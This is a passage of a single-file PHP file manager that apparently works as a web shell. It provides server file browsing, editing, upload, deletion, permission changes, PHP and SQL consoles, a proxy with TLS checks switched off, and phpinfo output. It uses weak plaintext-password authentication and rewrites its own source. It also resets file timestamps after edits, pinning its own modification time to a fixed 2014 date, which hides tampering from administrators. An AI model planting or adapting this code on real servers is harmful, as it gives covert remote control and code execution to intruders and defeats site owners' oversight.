	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);

	$str = '';

	foreach ($tpl_arr as $ktpl=>$vtpl) {

		        $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>

'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>

</form>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>

</table>

';

}


function find_text_in_files($dir, $mask, $text) {

                        $results = array();

                        if ($handle = opendir($dir)) {

                                                while (false !== ($entry = readdir($handle))) {

                                                                        if ($entry != "." && $entry != "..") {

                                                                                                $path = $dir . "/" . $entry;

                                                                                                if (is_dir($path)) {

                                                                                                                        $results = array_merge($results, find_text_in_files($path, $mask, $text));

                                                                                                } else {

                                                                                                                        if (fnmatch($mask, $entry)) {

                                                                                                                                                $contents = file_get_contents($path);

                                                                                                                                                if (strpos($contents, $text) !== false) {

                                                                                                                                                                        $results[] = str_replace('//', '/', $path);

                                                                                                                                                }

                                                                                                                        }

                                                                                                }

                                                                        }

                                                }

                                                closedir($handle);

                        }

                        return $results;

}



/* End Functions */


// authorization

if ($auth_mydevice['authorize']) {

	if (isset($_POST['login']) && isset($_POST['password'])){

		        if (($_POST['login']==$auth_mydevice['login']) && ($_POST['password']==$auth_mydevice['password'])) {

                                 setcookie($auth_mydevice['cookie_name'], $auth_mydevice['login'].'|'.md5($auth_mydevice['password']), time() + (86400 * $auth_mydevice['days_authorization']));

                                 $_COOKIE[$auth_mydevice['cookie_name']]=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']);

		        }

	}

	if (!isset($_COOKIE[$auth_mydevice['cookie_name']]) OR ($_COOKIE[$auth_mydevice['cookie_name']]!=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']))) {

		        echo '

<!doctype html>

<html>

<head>

<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>

<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language_benros).'

</body>

</html>

';  

die();

	}

	if (isset($_POST['quit'])) {

		        unset($_COOKIE[$auth_mydevice['cookie_name']]);

		        setcookie($auth_mydevice['cookie_name'], '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);

	}

}


// Change config

if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		        unset($_COOKIE['fm_config']);

		        setcookie('fm_config', '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_url().'?fm_settings=true');

		        exit(0);

	}	elseif (isset($_POST['fm_config'])) { 

		        $fmo_config = $_POST['fm_config'];

		        setcookie('fm_config', serialize($fmo_config), time() + (86400 * $auth_mydevice['days_authorization']));

		        $_COOKIE['fm_config'] = serialize($fmo_config);

		        $msg_now = __('Settings').' '.__('done');

	}	elseif (isset($_POST['fm_login'])) { 

		        if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		        $fm_login = json_encode($_POST['fm_login']);

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 	if ($_POST['fm_login']['login'] != $auth_mydevice['login']) $msg_now .= ' '.__('Login').': '.$_POST['fm_login']['login'];

                                 	if ($_POST['fm_login']['password'] != $auth_mydevice['password']) $msg_now .= ' '.__('Password').': '.$_POST['fm_login']['password'];

                                 	$auth_mydevice = $_POST['fm_login'];

                                 }

                                 else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }

	} elseif (isset($_POST['tpl_edited'])) { 

		        $lng_tpl = $_POST['tpl_edited'];

		        if (!empty($_POST[$lng_tpl.'_name'])) {

                                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		        } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

                                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);

		        }

		        if (!empty($fm_php)) {

                                 $fgc = file_get_contents(__FILE__);

                                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

                                 if (!empty($matches[1])) {

                                 	$filemtime = filemtime(__FILE__);

                                 	$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);

                                 	if (file_put_contents(__FILE__, $replace)) {

                                 		        ${$lng_tpl.'_templates'} = $fm_php;

                                 		        $msg_now .= __('File updated');

                                 	} else $msg_now .= __('Error occurred');

                                 	if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

                                 }	

		        } else $msg_now .= __('Error occurred');

	}

}


// Just show image

if (isset($_GET['img'])) {

	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){

		        switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

                                 case 1: $ext='gif'; break;

                                 case 2: $ext='jpeg'; break;

                                 case 3: $ext='png'; break;

                                 case 6: $ext='bmp'; break;

                                 default: die();

		        }

		        header("Content-type: image/$ext");

		        echo file_get_contents($file);

		        die();

	}

}


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);

	fm_download($file);	

}


// Just show info

if (isset($_GET['phpinfo'])) {

	phpinfo(); 

	die();

}


// Mini proxy, many bugs!

if (isset($_GET['proxy']) && (!empty($fmo_config['enable_proxy']))) {

	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">

	<form action="" method="GET">

	<input type="hidden" name="proxy" value="true">

	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">

	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {

		        $ch = curl_init($url);

		        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		        curl_setopt($ch, CURLOPT_HEADER, 0);

		        curl_setopt($ch, CURLOPT_REFERER, $url);

		        curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

		        $result = curl_exec($ch);

		        curl_close($ch);

		        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		        $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		        echo $result;

		        die();

	} 

}

?>
<!doctype html>

<html>

<head>                         

	<meta charset="utf-8" />

	<meta name="viewport" content="width=device-width, initial-scale=1" />

                        <title><?=__('File manager')?></title>

<style>

body {

	background-color:	white;

	font-family:		        Verdana, Arial, Helvetica, sans-serif;

	font-size:                                 8pt;

	margin:                                 	0px;

}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }


table.bg {

	background-color: #ACBBC6

}


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:                                 	25px;

	background-color:	#006699;

	color:                                 	#FFA34F;

	font-weight:		        bold;

	font-size:                                 11px;

}


.row1 {

	background-color:	#EFEFEF;

}


.row2 {

	background-color:	#DEE3E7;

}


.row3 {

	background-color:	#D1D7DC;

	padding: 5px;

}


tr.row1:hover {

	background-color:	#F3FCFC;

}


tr.row2:hover {

	background-color:	#F0F6F6;

}


.whole {

	width: 100%;

}


.all tbody td:first-child{width:100%;}


textarea {

	font: 9pt 'Courier New', courier;

	line-height: 125%;

	padding: 5px;

}


.textarea_input {

	height: 1em;

}


.textarea_input:focus {

	height: auto;

}


input[type=submit]{

	background: #FCFCFC none !important;

	cursor: pointer;

}


.folder {

                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+J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YktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");

}


.file {

                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAF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A5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");

}

<?=fm_home_style()?>

.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

                        #fm_table td{display:inline;float:left;}

                        #fm_table tbody td:first-child{width:100%;padding:0;}

                        #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

                        #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}

                        #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	#header_table table td {display:inline;float:left;}

}

</style>

</head>

<body>

<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fmo_config['enable_sql_console'])){

	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fmo_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 

if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">

<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg_now)?'':'<tr><td class="row2" colspan="2">'.$msg_now.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'

'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'

'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'

'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'

'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fmo_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>

<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fmo_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fmo_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>

<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fmo_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'

'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'

<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>

</table>

<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_mydevice['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_mydevice['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_mydevice['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_mydevice['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_mydevice['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_mydevice['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>

</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	die($proxy_form);

} elseif (isset($res_lng)) {	

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php

	if($res_lng=='sql') echo ' - Database: '.$fmo_config['sql_db'].'</h2></td><td>'.fm_run_input('php');

	else echo '</h2></td><td>'.fm_run_input('sql');

	?></td></tr></table></td>

</tr>

<tr>

                        <td class="row1">

		        <a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>

		        <form action="" method="POST" name="console">

		        <textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>

		        <input type="reset" value="<?=__('Reset')?>">

		        <input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">

<?php
$str_tmpl = $res_lng.'_templates';

$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';

if (!empty($tmpl)){

	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';

	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";

	$select .= '<option value="-1">' . __('Select') . "</option>\n";

	foreach ($tmpl as $key=>$value){

		        $select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";

	}

	$select .= "</select>\n";

	echo $select;

}

?>
		        </form>

	</td>

</tr>

</table>

<?php
	if (!empty($res)) {

		        $fun='fm_'.$res_lng;

		        echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';

	}

} elseif (!empty($_REQUEST['edit'])){

	if(!empty($_REQUEST['save'])) {

		        $fn = $path . $_REQUEST['edit'];

		        $filemtime = filemtime($fn);

	                        if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_now .= __('File updated');

		        else $msg_now .= __('Error occurred');

		        if ($_GET['edit']==basename(__FILE__)) {

                                 touch(__FILE__,1415116371);

		        } else {

                                 if (!empty($fmo_config['restore_time'])) touch($fn,$filemtime);

		        }

	}

                        $oldcontent = @file_get_contents($path . $_REQUEST['edit']);

                        $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">

<tr>

                        <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$editlink?>">

                                                                        <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                                        <input type="submit" name="cancel" value="<?=__('Cancel')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
echo $auth_mydevice['script'];

} elseif(!empty($_REQUEST['rights'])){

	if(!empty($_REQUEST['save'])) {

	                        if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))

		        $msg_now .= (__('File updated')); 

		        else $msg_now .= (__('Error occurred'));

	}

	clearstatcache();

                        $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);

                        $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                   <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">

                                                <?php if (is_dir($path.$_REQUEST['rights'])) { ?>

                                                                        <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>

                                                <?php } ?>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {

	if(!empty($_REQUEST['save'])) {

	                        rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);

		        $msg_now .= (__('File updated'));

		        $_REQUEST['rename'] = $_REQUEST['newname'];

	}

	clearstatcache();

                        $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;

                        $backlink = $url_inc . '&path=' . $path;


?>
<table class="whole">

<tr>

                        <th><?=__('File manager').' - '.$path?></th>

</tr>

<tr>

                        <td class="row1">

                                                <?=$msg_now?>

	</td>

</tr>

<tr>

                        <td class="row1">

                                                <a href="<?=$backlink?>"><?=__('Back')?></a>

	</td>

</tr>

<tr>

                        <td class="row1" align="center">

                                                <form name="form1" method="post" action="<?=$link?>">

                                                                        <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>

                                                                        <input type="submit" name="save" value="<?=__('Submit')?>">

                                                </form>

                        </td>

</tr>

</table>

<?php
} else {

//Let's rock!

                        $msg_now = '';

                        if(!empty($_FILES['upload'])&&!empty($fmo_config['upload_file'])) {

                                                if(!empty($_FILES['upload']['name'])){

                                                                        $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

                                                                        if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){

                                                                                                $msg_now .= __('Error occurred');

                                                                        } else {

                                 	$msg_now .= __('Files uploaded').': '.$_FILES['upload']['name'];

                                 }

                                                }

                        } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {

                                                if(!fm_del_files(($path . $_REQUEST['delete']), true)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Deleted').' '.$_REQUEST['delete'];

		        }

	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fmo_config['make_directory'])) {

                                                if(!@mkdir($path . $_REQUEST['dirname'],0777)) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 $msg_now .= __('Created').' '.$_REQUEST['dirname'];

		        }

                        } elseif(!empty($_POST['search_recursive'])) {

		        ini_set('max_execution_time', '0');

		        $search_data =  find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		        if(!empty($search_data)) {

                                 $msg_now .= __('Found in files').' ('.count($search_data).'):<br>';

                                 foreach ($search_data as $filename) {

                                 	$msg_now .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

                                 }

		        } else {

                                 $msg_now .= __('Nothing founded');

		        }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fmo_config['new_file'])) {

                                                if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

                                                                        $msg_now .= __('Error occurred');

                                                } else {

                                 fclose($fp);

                                 $msg_now .= __('Created').' '.$_REQUEST['filename'];

		        }

                        } elseif (isset($_GET['zip'])) {

		        $source = base64_decode($_GET['zip']);

		        $destination = basename($source).'.zip';

		        set_time_limit(0);

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        if (is_file($destination))

		        $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		        '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		        .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		        else $msg_now .= __('Error occurred').': '.__('no files');

	} elseif (isset($_GET['gz'])) {

		        $source = base64_decode($_GET['gz']);

		        $archive = $source.'.tar';

		        $destination = basename($source).'.tar';

		        if (is_file($archive)) unlink($archive);

		        if (is_file($archive.'.gz')) unlink($archive.'.gz');

		        clearstatcache();

		        set_time_limit(0);

		        //die();

		        $phar = new PharData($destination);

		        $phar->buildFromDirectory($source);

		        $phar->compress(Phar::GZ,'.tar.gz');

		        unset($phar);

		        if (is_file($archive)) {

                                 if (is_file($archive.'.gz')) {

                                 	unlink($archive); 

                                 	$destination .= '.gz';

                                 }


                                 $msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

                                 '.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)

